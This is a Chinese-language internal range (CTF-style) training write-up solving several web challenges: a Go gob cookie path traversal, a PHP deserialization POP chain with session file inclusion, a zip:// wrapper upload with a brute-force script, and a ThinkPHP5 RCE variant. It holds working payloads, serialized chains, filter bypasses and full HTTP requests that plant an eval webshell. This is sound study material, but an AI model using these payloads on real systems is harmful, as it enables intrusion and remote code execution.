内部靶场训练1208-1214

前言

年底了,巨忙。。。只能周末抽空看看练习题。以下是部分解题思路及复现思路。

gob

这个题目其实不算难,但是做了挺久的。。。

一开始是给了一个登录框,这里随便输入就可以登上去。再然后就是一个upload的接口,以及一个show的接口。upload这里尝试传文件上去,发现没有文件类型限制,任何文件都可以传上去,于是一开始直接传了一个shell过去,访问发现根本解析不了。然后传了个.htaccess,把png文件解析成php文件,发现还是不行。

然后就转到思路二,既然这个目录下解析不了,有没有可能往上穿越?upload那里抓包修改filename,改成filename="../shell.php"。然后访问可以发现文件确实上传到上一个目录了。访问还是解析不了,于是接着穿越,发现最多只能传到/upload下,依然解析不了。

思路三,既然给了一个上传的接口,并且任何形式的文件都可以上传,还给了一个show的接口,可以看到是把文件内容的base64编码展示出来。那么show是有一个读文件的操作,于是怀疑phar反序列化。但是这个需要源码啊,扫了半天没扫到。。。这个也放弃了

思路四,又仔细想了一下,为什么每次show的时候,都是最近上传的一个图片的内容,然后又观察了一下cookie,很像base64编码,于是尝试解码发现字符串很像序列化的格式:

gob1.png

这个看上去不像是php的序列化格式,拿给deepseek去分析下,发现是go的。

所以思路重新梳理一下,我在upload那里上传一个普通图片,然后抓包放包,然后再show那里再抓包,把cookie解码一下发现:

gob2.png

Q/+BAwEBBVVzZXJzAf+CAAEEAQhVc2VybmFtZQEMAAEIUGFzc3dvcmQBDAABCEZpbGVuYW1lAQwAAQRTaWduAQwAAAD/gP+CAQVhZG1pbgEGMTExMTExAUouL3VwbG9hZHMvYjdhZmQ5OGRiN2VmMjQzODE0OWEyNTJiN2EyOGFiNGUvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmxhZwEgZTYwZTlhOWNlY2M3ZjVlMjY5MTEzZjg2NzljZTMxZDYA对于解码的内容为:

gob5.png

可以猜测一下其实读取的filename值来源于cookie,但是这里的cookie不能直接伪造,试了几个go的序列化脚本发现都不对。那就沿用呗。

直接在upload那里重新上传抓包,修改filename="../../../../../../flag",上传显示文件以及存在,然后再去show的时候,可以发现直接把flag的值读出来了。。

gob6.png

eem代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
session_start();
class eem
{
protected $hh;
public $ff;
public $gg;
function __construct()
{
$this->hh = new phpinfo;
}
function __toString()
{
if (isset($this->hh))
return $this->hh->exec();
}
}
class nb
{
public $filename;
public $class;
public $test;
function exec()
{
$this->class = unserialize($this->test);
$this->class->ff = $sth;
if($this->class->ff === $this->class->gg)
{
$_GET['data'] = "$this->filename";
if (include_once($_GET['data']))
{
return include_once($_GET['data']);
}
else
{
return "hack!";
}
}
}
}
class phpinfo
{
function exec()
{
return phpinfo();
}
}

if (isset($_GET['data']))
{
$data = str_replace(array('file','php'), '', $_GET['data']);
$data = unserialize($data);
echo $data;
}
else
{
highlight_file("./index.php");
}
$user = $_POST['user'];
$_SESSION['user'] = $user;
?>

unserialize函数,也有session['user']=$user,然后还有 return include_once($_GET['data']),很明显是反序列化+session文件包含。

那么需要搞清楚

1.pop链怎么写

2.session文件在哪里?这里可以尝试默认的目录。一般我们是从phpinfo里面获取,然而 这里也给了 return phpinfo();

所以没有什么弯弯绕绕,思路很清晰,先是想办法读phpinfo,拿到session文件路径,然后根据cookie,往session文件里面写shell,最后构造pop链触发包含即可。

一开始咋一看还没看出来怎么构造pop链,因为unserialize之后,没有destruct、wake_up这类魔法函数,不过巧合在

1
2
$data = unserialize($data);
echo $data;

这两个组合再一起,就可以触发__toString 这个魔法函数了。

所以思路很简答,先构造链子读phpinfo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class eem
{
protected $hh;
public $ff;
public $gg;
function __construct()
{
$this->hh = new phpinfo;
}
}
class phpinfo
{
}
echo urlencode(serialize(new eem()));
?>
运行得到:O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A7%3A%22phpinfo%22%3A0%3A%7B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D

不过这里要注意: $data = str_replace(array('file','php'), '', $_GET['data']);会替换成空,所以我们直接双写绕过。

poc1:O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A7%3A%22pphphpinfo%22%3A0%3A%7B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D

gob4.png

这里可以发现就是默认路径 /var/lib/php/sessions,所以这里路径确认了,接下来是怎么调用到 return include_once($_GET[data]);

一开始有点迷惑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class nb 
{
public $filename;
public $class;
public $test;
function exec()
{
$this->class = unserialize($this->test);
$this->class->ff = $sth;
if($this->class->ff === $this->class->gg)
{
$_GET['data'] = "$this->filename";
if (include_once($_GET['data']))
{
return include_once($_GET['data']);
}
else
{
return "hack!";
}
}
}
}

我要能调用return include_once($_GET['data']);,必须得$this->class->ff === $this->class->gg,然后这里前面还有一个$this->class = unserialize($this->test),所以我在想nb类的test属性是不是得指向一个序列化字符串的类。那指向哪个类呢?另外还有一个$this->class-ff=$sth

这里的$sth是不存在的,后面尝试了一下发现这些都是干扰项,我们可以本地测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class nb
{
public $filename="123";
public $class;
public $test;
function exec()
{
$this->class = unserialize($this->test);
$this->class->ff = $sth;
if($this->class->ff === $this->class->gg)
{
$_GET['data'] = "$this->filename";
if (include_once($_GET['data']))
{
echo "successfully!";
}
else
{
return "hack!";
}
}
}
}
$a=new nb();
$a->exec();
?>
//输出结果:
D:\phpstudy_pro\Extensions\php\php5.4.45nts\php.exe D:\phpstudy_pro\WWW\poc.php
Warning: Creating default object from empty value in D:\phpstudy_pro\WWW\poc.php on line 10
Warning: include_once(123): failed to open stream: No such file or directory in D:\phpstudy_pro\WWW\poc.php on line 14
Warning: include_once(): Failed opening '123' for inclusion (include_path='.;C:\php\pear') in D:\phpstudy_pro\WWW\poc.php on line 14
Process finished with exit code 0

可以看到有警告,但是include_once是被调用了的。所以我们只需要对filename赋值,让它指向对应session文件所在位置即可。同时我们也要利用

1
2
$user = $_POST['user'];
$_SESSION['user'] = $user;

来产生session文件,里面的值又是我们可控的,会是字符串的一个序列化结果。

利用链POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#/var/lib/php/sessions/sess_0anrh6nhmd06rgsqms148s55i0
class eem
{
protected $hh;
public $ff;
public $gg;
function __construct()
{
$this->hh = new nb();
}
}
class nb
{
public $filename;
public $class;
public $test;
function __construct()
{
$this->filename ="/var/lib/php/sessions/sess_0anrh6nhmd06rgsqms148s55i0"; //这个id抓包可以找到。
}
}
$a=new eem();
$a=urlencode(serialize($a));
echo $a;
?>
得到O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A2%3A%22nb%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A53%3A%22%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_0anrh6nhmd06rgsqms148s55i0%22%3Bs%3A5%3A%22class%22%3BN%3Bs%3A4%3A%22test%22%3BN%3B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D

同样的, php , file 要双写,最终的利用链poc:O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A2%3A%22nb%22%3A3%3A%7Bs%3A8%3A%22ffileilename%22%3Bs%3A53%3A%22%2Fvar%2Flib%2Fpphphp%2Fsessions%2Fsess_0anrh6nhmd06rgsqms148s55i0%22%3Bs%3A5%3A%22class%22%3BN%3Bs%3A4%3A%22test%22%3BN%3B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D

在此之前,需要先post 传user 写个shell:

emm代码审计1.png

然后用get data传O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A2%3A%22nb%22%3A3%3A%7Bs%3A8%3A%22ffileilename%22%3Bs%3A53%3A%22%2Fvar%2Flib%2Fpphphp%2Fsessions%2Fsess_0anrh6nhmd06rgsqms148s55i0%22%3Bs%3A5%3A%22class%22%3BN%3Bs%3A4%3A%22test%22%3BN%3B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D

emm代码审计2.png

可以发现成功包含了session文件。接下来直接上哥斯拉:

emm代码审计3.png

interesting web

环境存在问题,看了下wp,把知识点记录一下:

flask cookie伪造管理员身份ln -s /etc/passwd 123.jpg 软连接 tar cvfp shellcode.tar 123.jpg curl xxxxx/download/123.jpg

image_up

环境太卡了,这个题目涉及爆破,估计是环境原因,没爆破出来。

一开始在login界面可以发现:

image_up1.png

这种可能存在文件包含,可以尝试php://filter 来读源码,http://10.45.1.22/index.php?page=php://filter/convert.base64-encode/resource=login,base64解码一下并没有啥有用信息,于是随便账号密码输入一下,发现可以直接登录,然后接着读upload 源码:http://10.45.1.22/index.php?page=php://filter/convert.base64-encode/resource=uplaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败!";
}
}else{
$error = "文件过大,上传失败!";
}
}
?>

采用的白名单校验,但是这里的 $path = "uploads/".md5($temp[0].time()).".".$extension; 都是可控的。注意这里 time()返回的是个整数,这个可以本地php环境测试一下:

1
2
3
4
<?php
$a=time();
echo $a;
//输出1765682330

所以都可控,这里只让传jpg png gif jpeg ,于是 写一个一句话放到shellcode.php 然后压缩一下shellcode.zip,然后改下后缀,改成shellcode.jpg

我们把这个上传,然后用zip协议去读,刚好题目的环境是可以拼接php的。

所以先把文件传上去,并爆破出文件路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: UTF-8 -*-
import time
import requests
import hashlib
url = "http://10.45.1.22/"
def md5(str):
str=str.encode('utf-8')
m = hashlib.md5()
m.update(str)
return m.hexdigest()
files = {
"image": ("shellcode.jpg", open("shellcode.jpg", "rb"))
}
t = int(time.time())
requests.post(url=url + "index.php?page=upload", files=files)
for i in range(t - 100, t + 100):
path = "uploads/" + md5("shellcode" + str(i)) + ".jpg"
status = requests.get(url=url + path).status_code
if status == 200:
print(path)
break

但是很可惜没爆破出来,估计是环境太卡的原因。

假设爆破出来的格式为:uploads/0d613371c53db3f0698d66fed54139f9.jpg,那么就是http://10.45.1.22/uploads/0d613371c53db3f0698d66fed54139f9.jpg

我们直接伪协议来读http://10.45.1.22/index.php?page=zip://./uploads/0d613371c53db3f0698d66fed54139f9.jpg%23shellcode,这样可以直接包含shell了。

easy_pentest

没复现成功。

通过 日志文件找到key来绕过第一层, 后面就是tp5rce变种。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /public/index.php?s=captcha&safe_key=easy_pentesnt_is_s0fun HTTP/1.1
Host: 10.45.1.25
Content-Length: 122
Cache-Control: max-age=0
Origin: http://10.45.1.25
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.45.1.25/public/index.php?safe_key=easy_pentesnt_is_s0fun
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: PHPSESSID=ttt
Connection: close

_method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1

往session文件里面写base64编码的shell。多加了几个字符原理和绕过死亡exit一样。

接着就是getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /public/index.php?s=captcha&safe_key=easy_pentesnt_is_s0fun&r=dmFyX2R1bXAoc2NhbmRpcigiL2hvbWUiKSk7 HTTP/1.1
Host: 10.45.1.25
Content-Length: 178
Cache-Control: max-age=0
Origin: http://10.45.1.25
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.45.1.25/public/index.php?safe_key=easy_pentesnt_is_s0fun
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: PHPSESSID=ttt
Connection: close

_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=ttt_sses/pmet/emitnur/lmth/www/rav/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php